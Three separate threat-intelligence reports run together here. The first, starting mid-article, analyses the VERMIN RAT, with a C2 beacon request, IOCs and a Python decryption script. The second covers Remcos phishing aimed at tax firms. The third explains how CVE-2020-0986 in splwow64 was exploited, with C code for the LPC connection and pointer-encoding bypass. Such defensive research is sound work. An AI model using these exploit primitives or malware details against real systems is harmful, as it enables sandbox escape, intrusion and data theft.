VERMIN. Quasar RAT is an open-source malware family which has been used in several other attack campaigns including criminal and espionage motivated attacks. But a reasonable number of the samples were the new malware family, VERMIN. Looking at the samples in our cluster we could see the themes of the dropper files were similar to our first sample. Notably, most of the other files we discovered did not come bundled with a decoy document and instead were simply the malware and dropper compiled with icons matching popular document viewing tools, such as Microsoft Word. Names of some of the other dropper binaries observed are given below, with the original Ukrainian on the left and the translated English on the right: | Original Name (Ukrainian) | Translated Name (if applicable) | |----------------------------|----------------------------------| | Ваш_ сертиф_кати для | Your certificate for free_receive help.exe | | отримання безоплатно_ | | | вторинно_ допомоги.exe | report2.exe | | доповідь забезпечення | fuel supply report 08.06.17.exe | | паливом 08.06.17.exe | | | lg_svet_smeta2016- | N/A | | 2017cod.exe. | | | lugansk_2273_21.04.2017.exe| N/A | | Отчет-районы_2кв- | Report-areas_2kv-l-2016.exe | | л-2016.exe | | Given the interesting targeting themes and the discovery of a new malware family, we decided to take a peek at what “VERMIN” was capable of and document it here. ## Dissecting VERMIN For this walkthrough, we’ll be going through the analysis of the following sample: **SHA256**: 98073a58101dda103ea03bbd4b3554491d227f52ec01c245c3782e63c0fdbc07 **Compile Timestamp**: 2017-07-04 12:46:43 UTC Analyzing the malware dynamically quickly gave us a name for the malware, based on the PDB string present in the memory of the sample: `Z:\Projects\Vermin\TaskScheduler\obj\Release\Licenser.pdb`. As is the case with many of the samples from the threat actors behind VERMIN, our sample is packed initially with the popular .NET obfuscation tool ConfuserEx. Using a combination of tools, we were able to unpack and deobfuscate the malware. Following initial execution, the malware first checks if the installed input language in the system is equal to any of the following: - ru – Russian - uk – Ukrainian - ru-ru – Russian - uk-ua – Ukrainian If none of the languages above is found the malware calls `Application.Exit()`, however despite its name, this API call doesn’t actually successfully terminate the application, and instead the malware will continue to run. It’s likely the author intended to terminate the application, in which case a call like `System.Environment.Exit()` would have been a better choice. The fact that this functionality does not work as intended suggests that if the author tested the malware before deployment, they were likely to be doing so on systems where the language matches the list above, since otherwise they would notice that the function is not working as expected. After passing the installed language check the malware proceeds to decrypt an embedded resource using the following logic: 1. It retrieves the final four bytes of the encrypted resource. 2. These four bytes are a CRC32 sum, and the malware then proceeds to brute force what 6-byte values will give this CRC32 sum. 3. Once it finds this array of 6 bytes it performs an MD5 hash sum on the bytes, this value is used as the key. 4. The first 16 bytes of the encrypted resource are then used as the IV for decryption. 5. Finally, using AES it decrypts the embedded resource. A script mirroring this routine can be found in appendix C. After decrypting the embedded resource, the malware passes several hardcoded arguments to the newly decrypted binary and performs a simple setup routine before continuing execution. The embedded resource contains all the main code for communications and functionality the RAT contains. First the malware attempts to decrypt all of the strings passed as parameters. If no arguments were supplied the malware attempts to read a configuration file from a pre-defined location expecting it to be base64-encoded and encrypted with 3-DES using a hardcoded key “KJGJH&^$f564jHFZ”: `C:\Users\Admin\AppData\Roaming\Microsoft\AddIns\settings.dat` If arguments were supplied, they are saved and encrypted to the same location as above. Parameters supplied are given below. Note that these are the actual variable names used by the malware author: - serverIpList - mypath - keyloggerPath - mutex - username - password - keyloggerTaskName - myTaskName - myProcessName - keyLoggerProcessName - myTaskDecription - myTaskAuthor - keyLoggerTaskDecription - keyLoggerTaskAuthor The decrypted resource is set to be run as a scheduled task every 30 minutes, indefinitely. After this, the malware is ready to start operations, and does so by collecting various information about the infected machine, examples of collected information includes but is not limited to: - Machine name - Username - OS name via WMI query - Architecture: x64 vs x86 (64 vs. 32 bit) - Local IP Address - Checks Anti-Virus installed via WMI query If the Anti-Virus (AV) query determines any AV is installed the malware does not install the keylogger. The keylogger is embedded as a resource named ‘AdobePrintFr’. This binary is only packed with Confuser-Ex and is not further obfuscated. The malware then sends its initial beacon using a SOAP envelope to establish a secure connection. The author uses the WSHttpBinding() API – which allows the author to use WS-Addressing and purposely sets the WSMessageEncoding.Mtom to encode the SOAP messages. The author also sets up for using ‘Username’ authentication for communicating with its C2, presumably allowing the author easier control over the various infected hosts. A defanged exemplar request/response is given below: ``` POST /CS HTTP/1.1 MIME-Version: 1.0 Content-Type: multipart/related; type="application/xop+xml";start="<http://tempuri.org/0>";boundary="uuid:ae621187-99b2-4b50-8a74-a33e8c7c0990+id=3";start-info="application/soap+xml" Host: akamainet024[.]info Content-Length: 1408 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive --uuid:ae621187-99b2-4b50-8a74-a33e8c7c0990+id=3 Content-ID: <http://tempuri.org/0> Content-Transfer-Encoding: 8bit Content-Type: application/xop+xml;charset=utf-8;type="application/soap+xml" <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing"> <s:Header> <a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action> <a:MessageID>urn:uuid:159e7656-a3ea-4099-aa59-7ab04361ad99</a:MessageID> <a:ReplyTo><a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address></a:ReplyTo> <a:To s:mustUnderstand="1">http://akamainet024.info/CS</a:To> </s:Header> <s:Body> <t:RequestSecurityToken Context="uuid-9a01748a-8acf-449e-9a3d-febcff2f2406-3" xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust"> <t:TokenType>http://schemas.xmlsoap.org/ws/2005/02/sc/sct</t:TokenType> <t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType> <t:KeySize>256</t:KeySize> <t:BinaryExchange ValueType="http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">FgMBAFoBAABWAwFaCdyfpYsLZDbnCizlWg3iw2M80KiaWb+oIgzhJ1BvugAAGAAvADUABQAKwBPAFMAJwAoAMgA4ABMABAEAABX/AQABAAAKAAYABAAXABgACwACAQA=</t:BinaryExchange> </t:RequestSecurityToken> </s:Body> </s:Envelope> --uuid:ae621187-99b2-4b50-8a74-a33e8c7c0990+id=3-- ``` VERMIN collects all keystrokes and clipboard data and encrypts the data before storing it in the following folder: `%appdata%\Microsoft\Proof\Settings.{ED7BA470­8E54­465E­825C­99712043E01C}\Profiles\`. Each file is saved with the following format: “{0:dd-MM-yyyy}.txt”. The data is encrypted using the same method and 3-DES key, used to encrypt the configuration file. VERMIN supports the following commands: - ArchiveAndSplit - CancelDownloadFile - CancelUploadFile - CheckIfProcessIsRunning - CheckIfTaskIsRunning - CreateFolder - DeleteFiles - DeleteFolder - DownloadFile - GetMonitors - GetProcesses - KillProcess - ReadDirectory - RenameFile - RenameFolder - RunKeyLogger - SetMicVolume - ShellExec - StartAudioCapture - StartCaptureScreen - StopAudioCapture - StopCaptureScreen - UpdateBot - UploadFile For most of these commands, the malware requires “hands-on-keyboard” style one-to-one interactions. Often remote access tools written in .NET borrow and steal code from other tools due to the plethora of code available through open source; however, it appears that whilst some small segments of code may have been lifted from other tools, this RAT is not a fork of a well-known malware family: it’s mostly original code. We have linked all the samples we have been able to identify to the same cluster of activity: this strongly suggests the VERMIN malware is used exclusively by this threat actor and this threat actor alone. ## Concluding thoughts We were unable to definitively determine the aims of the attackers or the data stolen. However, given the limited number of samples, the targeting themes observed, and the “hands-on-keyboard” requirement for most of the malware’s operations (except for keylogging), it seems likely that the malware is used in targeted attacks in Ukraine. Ukraine remains a ripe target for attacks, even gaining its own dedicated Wikipedia page for attacks observed in 2017. In addition to the high-profile attacks such as the Petya/NotPetya and BadRabbit, which have been widely reported, there are likely many smaller campaigns like the one described in this blog aimed to steal data to gain an information advantage for the attackers’ sponsors. Palo Alto Networks defends our customers against the samples discussed in this blog in the following ways: - Wildfire identifies all samples mentioned in this article as malicious. - Traps identifies all samples mentioned in this article as malicious. - C2 domains used in this campaign are blocked via Threat Prevention. ## Appendix A – C2 Addresses - akamaicdn[.]ru - cdnakamai[.]ru - www.akamaicdn[.]ru - www.akamainet066[.]info - www.akamainet023[.]info - www.akamainet021[.]info - akamainet022[.]info - akamainet021[.]info - www.akamainet022[.]info - akamainet066[.]info - akamainet024[.]info - www.cdnakamai[.]ru - notifymail[.]ru - www.notifymail[.]ru - mailukr[.]net - tech-adobe.dyndns[.]biz - www.mailukr[.]net - 185.158.153[.]222 - 94.158.47[.]228 - 195.78.105[.]23 - 94.158.46[.]251 - 188.227.75[.]189 - 212.116.121[.]46 - 185.125.46[.]24 - 5.200.53[.]181 ## Appendix B – Malware Samples | sha256 | Family | |--------|--------| | 0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6 | Quasar | | 154ef5037e5de49a6e3c48ea7221a02a5df33c34420a586cbff6a46dc5026a91 | Quasar | | 24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18 | Quasar | | 250cf8b44fc3ae86b467dd3a1c261a6c3d1645a8a21addfe7f2e2241ff8b79fc | Quasar | | 4c5e019e0e55a3fe378aa339d52c235c06ecc5053625a5d54d65c4ae38c6e3da | Quasar | | 92295b38daa4e44b9d257e56c5b271bbbf6a620312dc58e48e56473427170aa1 | Quasar | | 9ea00514c4ae9519a8938924b02826cfafeb75fc70f16c422aeadb8317a146c1 | Quasar | | a3c84c5f8d981653a2a391d29f32c8127fba8f0ab7da8815330a228205c99ba6 | Quasar | | 7b08b0d4d68ebf5238eaa8a40f815b83de372e345eb22cc3d50a4bb1869db78e | Quasar | | f75861216f5716b0227733e6a093776f693361626efebe37618935b9c6e1bdfd | Quasar | | 51b0bb172c6e5eaa8e333fbf2451ae27094991b6330025374b9082ae8cd879cf | Quasar | | 46ae101a8dc8bf434d2c599aaabfb72a0843d21e2150a6c745c0c4a771c09da3 | Quasar | | 488db27f3d619b3067d95515a356997ea8e840c65daa2799bdd473dce93362f2 | Quasar | | 5a05d2171e6aeb5edd9d39c7f46cd3bf0e2ee3ee803431a58a9945a56ce935f6 | Quasar | | 6f4e20e421451c3d8490067f8424d7efbcc5edeb82f80bb5562c76d4adfb0181 | Quasar | | 9a81cffe79057d8d307910143efd1455f956f2de2c7cc8fb07a7c17000913d59 | Quasar | | c84afdd28fa0923a09f6dd3af1e3821cdb07862b2796fa004cd3229bc6129cbe | Quasar | | 6cf63ae829984a47aca93f8a1261afe5a06930f04fab6f86f6f7f9631fde59ec | Quasar | | aa982fe7d28bbf55865047b16334efbe3fcb6bae06e5ed9cab544f1c8d307317 | Quasar | | 2963c5eacaad13ace807edd634a4a5896cb5536f961f43afcf8c1f25c08a5eef | VERMIN | | 677edb1a0a86c8bd0df150f2d9c5c3bc1d20d255b6f7944c4adcff3c45df4851 | VERMIN | | 74ba162eef84bf13d1d79cb26192a4692c09fed57f321230ddb7668a88e3935d | VERMIN | | e1d917769267302d58a2fd00bc49d4aee5a472227a75f9366b46ce243e9cbef7 | VERMIN | | eb48a31f8f81635d24f343a09247284149884bd713d3bc1c0b9c936bca8bafd7 | VERMIN | | 15c52b01d2b9294e2dd4d9711cde99e10f11cd188e0d1e4fa9db78f9805626c3 | VERMIN | | 31a1419d9121f55859ecf2d01f07da38bd37bb11d0ed9544a35d5d69472c358e | VERMIN | | 5586fb423aff39a02cddf5e456a83a8301afe9ed78ecbc8de2cd852bc0cd498f | VERMIN | | 5ee12dd028f5f8c2c0eb76f28c2ce273423998b36f3fc20c9e291f39825601f9 | VERMIN | | eb48a31f8f81635d24f343a09247284149884bd713d3bc1c0b9c936bca8bafd7 | VERMIN | | 98073a58101dda103ea03bbd4b3554491d227f52ec01c245c3782e63c0fdbc07 | VERMIN | | c5647603337a4e9bfbb2259c0aec7fa9868c87ded2ab74e9d233bdb2a3bb163e | VERMIN | | eb46b8978619a72f4b0d3ea8961dde527f8e27e89701ccd6e5643c33b103d901 | VERMIN | | abd05a20b8aa21d58ee01a02ae804a0546fbf6811d71559423b6b5afdfbe7e64 | VERMIN | ## Appendix C – Python script to decode VERMIN resources ```python #!/usr/local/bin/python __author__ = "Juan C Cortes" __version__ = "1.0" __email__ = "[email protected]" from random import randint import zlib import binascii import sys import logging import hashlib import argparse import os import struct from tabulate import tabulate from Crypto import Random from Crypto.Cipher import AES def parse_arguments(): """Argument Parser""" parser = argparse.ArgumentParser(usage="Decrypt strings for VerminRAT") parser.add_argument("-v", "--verbosity", action="store_true", dest="vverbose", help="Print debugging information") parser.add_argument("-o", "--output", dest="output_file", type=str, help="Output results file") parser.add_argument("input", type=str, action='store', help="Input file of newline separated strings or single string") parser.add_argument("-b", "--blob", action='store_true', help="Param use for decrypting blobs of data instead of strings. Blob is autosave to 'blob.out'") return parser def write_out(output_list, headers, output_file=False): """ Pretty outputs list :param output_list: List to output """ print(tabulate(output_list, headers, tablefmt="simple")) print("") if output_file: with open(output_file, "ab") as file: file.write(tabulate(output_list, headers, tablefmt="simple").encode()) file.write(b"\n\n") def generateArray(): abyte = bytearray(6) for i in range(0, 6): abyte[i] = randint(0, 0x7FFFFFFF) % 7 return abyte def parseEncrypteStr(encryptStr): try: decoded = encryptStr.decode('base64') hardcoded_crc32 = decoded[-4:] parsedEncrypted = decoded[16:-4] iv = decoded[:16] return hardcoded_crc32, parsedEncrypted, iv except Exception as e: print(e) def bruteForceCRC32Value(valuecrc32): while True: arry = generateArray() crc32 = binascii.crc32(arry) crc32 = crc32 % (1 << 32) if crc32 == valuecrc32: return arry def decryptStr(str, key, iv): aes = AES.new(key, AES.MODE_CBC, iv) blob = aes.decrypt(str) return blob def parsePlainText(str): char = "" for i in str: if 0x20 <= ord(i) <= 0x127: char += i else: continue return char def parseUnicde(str): try: uni = "" for i in range(0, len(str) // 2): uni += str[i] return uni.decode('utf16') except Exception as e: print(e) def main(): """Main Method""" args = parse_arguments().parse_args() strs = [] if args.vverbose: logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s - %(message)s') if args.blob and os.path.exists(args.input) != True: b = args.input crc32Hardcode, encryptedStr, iv = parseEncrypteStr(b) crc32Hardcode = bytearray(crc32Hardcode) crc32Hardcode = struct.unpack('<I', crc32Hardcode)[0] bruteArray = bruteForceCRC32Value(crc32Hardcode) m = hashlib.md5() m.update(bruteArray) key = m.digest() plain = decryptStr(encryptedStr, key, iv) with open('blob.out', "wb") as file: file.write(plain) if os.path.exists(args.input) != True: strs.append(args.input) else: with open(args.input, "rb") as open_file: for line in open_file: hash = line.rstrip() strs.append(hash) for s in strs: crc32Hardcode, encryptedStr, iv = parseEncrypteStr(s) crc32Hardcode = bytearray(crc32Hardcode) crc32Hardcode = struct.unpack('<I', crc32Hardcode)[0] bruteArray = bruteForceCRC32Value(crc32Hardcode) m = hashlib.md5() m.update(bruteArray) key = m.digest() plain = decryptStr(encryptedStr, key, iv) parsestr = parsePlainText(plain) unistr = parseUnicde(plain) headers = ["ASCII", "UNICODE"] outputlist = [[parsestr, unistr]] write_out(outputlist, headers, args.output_file) if __name__ == '__main__': main() ``` Got something to say? Leave a comment... Notify me of followup comments via e-mail Name (required) Email (required) Website SUBSCRIBE TO NEWSLETTERS Email ## COMPANY Company Careers Sitemap Report a Vulnerability ## LEGAL NOTICES Privacy Policy Terms of Use ## ACCOUNT Manage Subscription
# Threat Actors Strive to Cause Tax Day Headaches Threat actors often take advantage of current events and major news headlines to align attacks and leverage social engineering when people could be more likely to be distracted or misled. Tax season is particularly appealing to threat actors because not only are people busy and under stress, but it is intrinsically tied to financial information. With U.S. Tax Day approaching, Microsoft has observed phishing attacks targeting accounting and tax return preparation firms to deliver the Remcos remote access trojan (RAT) and compromise target networks beginning in February of this year. Remcos, which stands for “Remote Control and Surveillance,” is a closed-source tool that allows threat actors to gain administrator privileges on Windows systems remotely. It was released in 2016 by BreakingSecurity, a European company that markets Remcos and other offensive security tools as legitimate software. In 2021, CISA listed Remcos among its top malware strains, citing its use in mass phishing attacks using COVID-19 pandemic themes targeting businesses and individuals. While social engineering lures like this one are common around Tax Day and other big topic current events, these campaigns are specific and targeted in a way that is uncommon. The targets for this threat are exclusively organizations that deal with tax preparation, financial services, CPA and accounting firms, and professional service firms dealing in bookkeeping and tax. This campaign can be detected in Microsoft Defender Antivirus, built into Windows and on by default, as well as Microsoft 365 Defender. The campaign uses lures masquerading as tax documentation sent by a client, while the link in the email uses a legitimate click-tracking service to evade detection. The target is then redirected to a legitimate file hosting site, where the actor has uploaded Windows shortcut (.LNK) files. These LNK files generate web requests to actor-controlled domains and/or IP addresses to download malicious files. These malicious files then perform actions on the target device and download the Remcos payload, providing the actor potential access to the target device and network. Microsoft is sharing this information along with detections and recommendations with the community to help users and defenders stay vigilant against this campaign with Tax Day approaching in the U.S. on April 18. Microsoft 365 Defender and Microsoft Defender Antivirus detect and block Remcos and other malicious activity related to this campaign. ## Phishing Campaign Analysis What we have observed is that the link in the phishing email points to Amazon Web Services click tracking service at awstrack[.]me. The initial link then redirects the target to a ZIP file hosted on a legitimate file-sharing service spaces[.]hightail[.]com. The ZIP file contains LNK files that act as Windows shortcuts to other files. The LNK files make web requests to actor-controlled domains and IP addresses to download additional malicious files such as MSI files containing DLLs or executables, VBScript files containing PowerShell commands, or deceptive PDFs. In some cases, GuLoader was used to execute shellcode and subsequently download Remcos on the target system. GuLoader is a malicious downloader that has been used by many different actors to deliver a wide variety of malware, including several RATs such as Remcos, through phishing campaigns since it was first observed in the wild in December 2019. The downloader uses several techniques to evade analysis and detection such as using legitimate file-sharing sites and cloud hosting services for payload storage and delivery as well as encryption and obfuscation of the GuLoader shellcode and payloads. Successful delivery of a Remcos payload could provide an attacker the opportunity to take control of the target device to steal information and/or move laterally through the target network. ## Recommendations and Detections Microsoft recommends the following mitigations to reduce the impact of this threat: - Block JavaScript or VBScript from launching downloaded executable content. - Block executable files from running unless they meet a prevalence, age, or trusted list criterion. - Enable Microsoft Defender Antivirus scanning of downloaded files and attachments. - Enable Microsoft Defender Antivirus real-time behavior monitoring. - Enable cloud-delivered protection. ### Detection Details **Microsoft Defender for Office 365** Microsoft Defender for Office 365 detects phishing emails associated with the campaign discussed in this blog. **Microsoft Defender Antivirus** Microsoft Defender Antivirus, on by default on Windows machines, detects threat components as the following malware: - Backdoor:Win32/Remcos.GA!MTB **Microsoft Defender for Endpoint** Alerts with the following titles in the security center can indicate threat activity on your network: - ‘Remcos’ backdoor - Suspicious ‘Remcos’ behavior - ‘Remcos’ malware - ‘Guloader’ malware **Microsoft Sentinel** Microsoft Sentinel customers can use the TI Mapping analytic (a series of analytics all prefixed with “TI map”) to automatically match the indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. ### Indicators of Compromise (IOCs) **Domain:** uymm[.]org **URL:** https[:]//uymm[.]org/roman.msi **SHA-256 hashes:** 23597910ec60cf8b97144447c5cddd2e657d09e2f2008d53a3834b6058f36a41 95a2d34db66ce4507d05ac33bea3bdc054860d9d97e91bdc2ce7ce689ae06e9f ac55905e6f5a2ab166f9a2ea7d1f4f68f5660f39b5c28b7746df1e9db6dd4430
# Operation PowerFall: CVE-2020-0986 and variants **Authors** Boris Larin In August 2020, we published a blog post about Operation PowerFall. This targeted attack consisted of two zero-day exploits: a remote code execution exploit for Internet Explorer 11 and an elevation of privilege exploit targeting the latest builds of Windows 10. While we already described the exploit for Internet Explorer in the original blog post, we also promised to share more details about the elevation of privilege exploit in a follow-up post. Let’s take a look at vulnerability CVE-2020-0986, how it was exploited by attackers, how it was fixed, and what additional mitigations were implemented to complicate exploitation of many other similar vulnerabilities. ## CVE-2020-0986 CVE-2020-0986 is an arbitrary pointer dereference vulnerability in GDI Print/Print Spooler API. By using this vulnerability, it is possible to manipulate the memory of the splwow64.exe process to achieve execution of arbitrary code in the process and escape the Internet Explorer 11 sandbox because splwow64.exe is running with medium integrity level. “Print driver host for applications,” as Microsoft describes splwow64.exe, is a relatively small binary that hosts 64-bit user-mode printer drivers and implements the Local Procedure Call (LPC) server that can be used by other processes to access printing functions. This allows the use of 64-bit printer drivers from 32-bit processes. Below I provide the code that can be used to spawn splwow64.exe and connect to splwow64.exe’s LPC server. ```c typedef struct _PORT_VIEW { UINT64 Length; HANDLE SectionHandle; UINT64 SectionOffset; UINT64 ViewSize; UCHAR* ViewBase; UCHAR* ViewRemoteBase; } PORT_VIEW, *PPORT_VIEW; PORT_VIEW ClientView; typedef struct _PORT_MESSAGE_HEADER { USHORT DataSize; USHORT MessageSize; USHORT MessageType; USHORT VirtualRangesOffset; CLIENT_ID ClientId; UINT64 MessageId; UINT64 SectionSize; } PORT_MESSAGE_HEADER, *PPORT_MESSAGE_HEADER; typedef struct _PROXY_MSG { PORT_MESSAGE_HEADER MessageHeader; UINT64 InputBufSize; UINT64 InputBuf; UINT64 OutputBufSize; UINT64 OutputBuf; UCHAR Padding[0x1F8]; } PROXY_MSG, *PPORT_MESSAGE; PROXY_MSG LpcReply; PROXY_MSG LpcRequest; int GetPortName(PUNICODE_STRING DestinationString) { void *tokenHandle; DWORD sessionId; ULONG length; int tokenInformation[16]; WCHAR dst[256]; memset(tokenInformation, 0, sizeof(tokenInformation)); ProcessIdToSessionId(GetCurrentProcessId(), &sessionId); memset(dst, 0, sizeof(dst)); if (NtOpenProcessToken(GetCurrentProcess(), READ_CONTROL | TOKEN_QUERY, &tokenHandle) || ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, sizeof(tokenInformation), &length)) { return 0; } wsprintfW(dst, L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x", sessionId, tokenInformation[2], tokenInformation[3], 0x2000); RtlInitUnicodeString(DestinationString, dst); return 1; } HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName) { HANDLE sectionHandle = 0; HANDLE portHandle = 0; union _LARGE_INTEGER maximumSize; maximumSize.QuadPart = 0x20000; NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL); if (sectionHandle) { ClientView.SectionHandle = sectionHandle; ClientView.Length = 0x30; ClientView.ViewSize = 0x9000; ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL); } return portHandle; } int main() { printf("Spawn splwow64.exe\n"); CHAR Path[0x100]; GetCurrentDirectoryA(sizeof(Path), Path); PathAppendA(Path, "CreateDC.exe"); // x86 application with call to CreateDC WinExec(Path, 0); Sleep(1000); CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL); printf("Get port name\n"); UNICODE_STRING portName; if (!GetPortName(&portName)) { printf("Failed to get port name\n"); return 0; } printf("Create port\n"); HANDLE portHandle = CreatePortSharedBuffer(&portName); if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase)) { printf("Failed to create port\n"); return 0; } } ``` To send data to the LPC server, it’s enough to prepare the printer command in the shared memory region and send an LPC message with `NtRequestWaitReplyPort()`. ```c memset(&LpcRequest, 0, sizeof(LpcRequest)); LpcRequest.MessageHeader.DataSize = 0x20; LpcRequest.MessageHeader.MessageSize = 0x48; LpcRequest.InputBufSize = 0x88; LpcRequest.InputBuf = (UINT64)ClientView.ViewRemoteBase; // Points to printer command LpcRequest.OutputBufSize = 0x10; LpcRequest.OutputBuf = (UINT64)ClientView.ViewRemoteBase + LpcRequest.InputBufSize; // TODO: Prepare printer command NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply); ``` When the LPC message is received, it is processed by the function `TLPCMgr::ProcessRequest(PROXY_MSG *)`. This function takes `LpcRequest` as a parameter and verifies it. After that, it allocates a buffer for the printer command and copies it there from shared memory. The printer command function INDEX, which is used to identify different driver functions, is stored as a double word at offset 4 in the printer command structure. Almost a complete list of different function INDEX values can be found in the header file `winddi.h`. This header file includes different INDEX values from `INDEX_DrvEnablePDEV (0)` up to `INDEX_LAST (103)`, but the full list of INDEX values does not end there. Analysis of `gdi32full.dll` reveals that there are a number of special INDEX values and some of them are provided in the table below (to find them in binary, look for calls to `PROXYPORT::SendRequest`). 1. 106 – INDEX_LoadDriver 2. 107 - INDEX_UnloadDriver 3. 109 – INDEX_DocumentEvent 4. 110 – INDEX_StartDocPrinterW 5. 111 – INDEX_StartPagePrinter 6. 112 – INDEX_EndPagePrinter 7. 113 – INDEX_EndDocPrinter 8. 114 – INDEX_AbortPrinter 9. 115 – INDEX_ResetPrinterW 10. 116 – INDEX_QueryColorProfile Function `TLPCMgr::ProcessRequest(PROXY_MSG *)` checks the function INDEX value and if it passes the checks, the printer command will be processed by function `GdiPrinterThunk` in `gdi32full.dll`. ```c if (IsKernelMsg || INDEX >= 106 && (INDEX <= 107 || INDEX - 109 <= 7)) { // … GdiPrinterThunk(LpcRequestInputBuf, LpcRequestOutputBuf, LpcRequestOutputBufSize); } ``` `GdiPrinterThunk` itself is a very large function that processes more than 60 different function INDEX values, and the handler for one of them – namely `INDEX_DocumentEvent` – contains vulnerability CVE-2020-0986. The handler for `INDEX_DocumentEvent` will use information provided in the printer command (fully controllable from the LPC client) to check that the command is intended for a printer with a valid handle. After the check, it will use the function `DecodePointer` to decode the pointer of the function stored at the `fpDocumentEvent` global variable (located in .data segment), then use the decoded pointer to execute the function, and finally perform a call to `memcpy()` where source, destination, and size arguments are obtained from the printer command and are fully controllable by the attacker. ## Exploitation In Windows OS, the base addresses of system DLL libraries are randomized with each boot, aiding exploitation of this vulnerability. The exploit loads the libraries `gdi32full.dll` and `winspool.drv`, and then obtains the offset of the `fpDocumentEvent` pointer from `gdi32full.dll` and the address of the `DocumentEvent` function from `winspool.drv`. After that, the exploit performs a number of LPC requests with specially crafted `INDEX_DocumentEvent` commands to leak the value of the `fpDocumentEvent` pointer. The value of the raw pointer is protected using `EncodePointer` protection, but the function pointed to by this raw pointer is executed each time the `INDEX_DocumentEvent` command is sent and the arguments of this function are fully controllable. All this makes the `fpDocumentEvent` pointer the best candidate for an overwrite. A necessary step for exploitation is to encode our own pointer in such a manner that it will be properly decoded by the function `DecodePointer`. Since we have the value of the encoded pointer and the value of the decoded pointer (address of the `DocumentEvent` function from `winspool.drv`), we are able to calculate the secret constant used for pointer encoding and then use it to encode our own pointer. The necessary calculations are provided below. ```c // Calculate secret for pointer encoding while (1) { secret = (unsigned int)DocumentEvent ^ __ROL8__(* (UINT64*)leaked_fpDocumentEvent, i & 0x3F); if ((secret & 0x3F) == i && __ROR8__((UINT64)DocumentEvent ^ secret, secret & 0x3F) == *(UINT64*)leaked_fpDocumentEvent) break; if (++i > 0x3F) { secret = 0; break; } } // Encode LoadLibraryA pointer with calculated secret UINT64 encodedPtr = __ROR8__(secret ^ (UINT64)LoadLibraryA, secret & 0x3F); ``` At this stage, in order to achieve code execution from the `splwow64.exe` process, it’s sufficient to overwrite the `fpDocumentEvent` pointer with the encoded pointer of function `LoadLibraryA` and provide the name of a library to load in the next LPC request with the `INDEX_DocumentEvent` command. ## Overview of attack CVE-2019-0880 Analysis of CVE-2020-0986 reveals that this vulnerability is the twin brother of the previously discovered CVE-2019-0880. The write-up for CVE-2019-0880 is available here. It’s another vulnerability that was exploited as an in-the-wild zero-day. CVE-2019-0880 is just another fully controllable call to `memcpy()` in the same `GdiPrinterThunk` function, just a few lines of code away in a handler of function `INDEX 118`. It seems hard to believe that the developers didn’t notice the existence of a variant for this vulnerability, so why was CVE-2020-0986 not patched back then and why did it take so long to fix it? It may not be obvious on first glance, but `GdiPrinterThunk` is totally broken. Even fixing a couple of calls to `memcpy` doesn’t really help. ## Arbitrary pointer dereference host for applications The problem lies in the fact that almost every function INDEX in `GdiPrinterThunk` is susceptible to a potential arbitrary pointer dereference vulnerability. Let’s take a look again at the format of the LPC request message. ```c typedef struct _PROXY_MSG { PORT_MESSAGE_HEADER MessageHeader; UINT64 InputBufSize; UINT64 InputBuf; UINT64 OutputBufSize; UINT64 OutputBuf; UCHAR Padding[0x1F8]; } PROXY_MSG, *PPORT_MESSAGE; ``` `InputBuf` and `OutputBuf` are both pointers that should point to a shared memory region. `InputBuf` points to a location where the printer command is prepared, and when this command is processed by `GdiPrinterThunk`, the result might be written back to the LPC client using the pointer that was provided as `OutputBuf`. Many handlers for different INDEX values provide data to the LPC client, but the problem is that the pointers `InputBuf` and `OutputBuf` are fully controllable from the LPC client and manipulation of the `OutputBuf` pointer can lead to an overwrite of `splwow64.exe`’s process memory. ## How it was mitigated Microsoft fixed CVE-2020-0986, but also implemented a mitigation aimed to make exploitation of `OutputBuf` vulnerabilities as hard as possible. Before the patch, the function `FindPrinterHandle()` blindly trusted the data provided through the printer command in an LPC request and it was easy to bypass a valid handle check. After the patch, the format of the printer command was changed so it no longer contains the address of the handle table, but instead contains a valid driver ID (quad word at offset 0x18). Now the linked list of handle tables is stored inside the `splwow64.exe` process and the new function `FindDriverForCookie()` uses the provided driver ID to get a handle table securely. For a printer command to be processed, it should contain a valid printer handle (quad word at offset 0x20). The printer handle consists of process ID and the address of the buffer allocated for the printer driver. It is possible to guess some bytes of the printer handle, but a successful real-world brute-force attack on this implementation seems to be unlikely. So, it’s safe to assume that this bug class was properly mitigated. However, there are still a couple of places in the code where it is possible to write a 0 for the address provided as `OutputBuf` without a handle check, but exploitation in such a scenario doesn’t appear to be feasible.
